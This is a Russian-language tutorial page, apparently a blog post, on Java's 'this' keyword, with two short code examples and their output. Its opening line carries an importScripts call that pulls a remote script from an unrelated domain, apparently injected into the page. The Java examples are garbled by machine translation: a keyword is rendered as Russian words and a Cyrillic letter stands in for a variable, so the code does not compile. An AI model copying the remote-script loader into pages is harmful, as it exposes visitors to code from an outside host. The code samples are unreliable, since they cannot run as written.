google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

это ключевое слово в Java

  • это содержит ссылку на текущий объект. Посмотрите на приведенный ниже 
    пример:
демонстрация класса
{
                int x = 10;
                void show (int x, demo d1)
                {
                                System.out.println (this.x);
                                System.out.println (d1.x);
                                System.out.println (х);
                }
                public static void 
main (String… s)
                {
                                demo d1 = new 
demo ();
                                d1.show (20, d1);
                }
}

Выход:

10
10
20
  • В Java по умолчанию это передается всем нестатическим методам.
  • это не может быть использовано в статических методах.
  • это ссылочная переменная или локальная переменная, она идет в 
    стек.
  • Когда локальные и глобальные переменные совпадают, эта ситуация 
    называется теневым копированием данных. В такой ситуации это ключевое слово используется для 
    различения локальной и глобальной переменной .
Рассмотрим пример ниже:
демонстрация класса
{
                int x = 10;
                void show ()
                {
                                int x = 20;
                                System.out.println (this.x); // переменная golabal
                                System.out.println (х); // локальная переменная, приоритет отдается локальной переменной
                }             
                public static void 
main (String… s)
                {
                                demo d = new 
demo ();
                                d.show ();
                }
}

Выход

10
20

Комментариев нет:

Отправить комментарий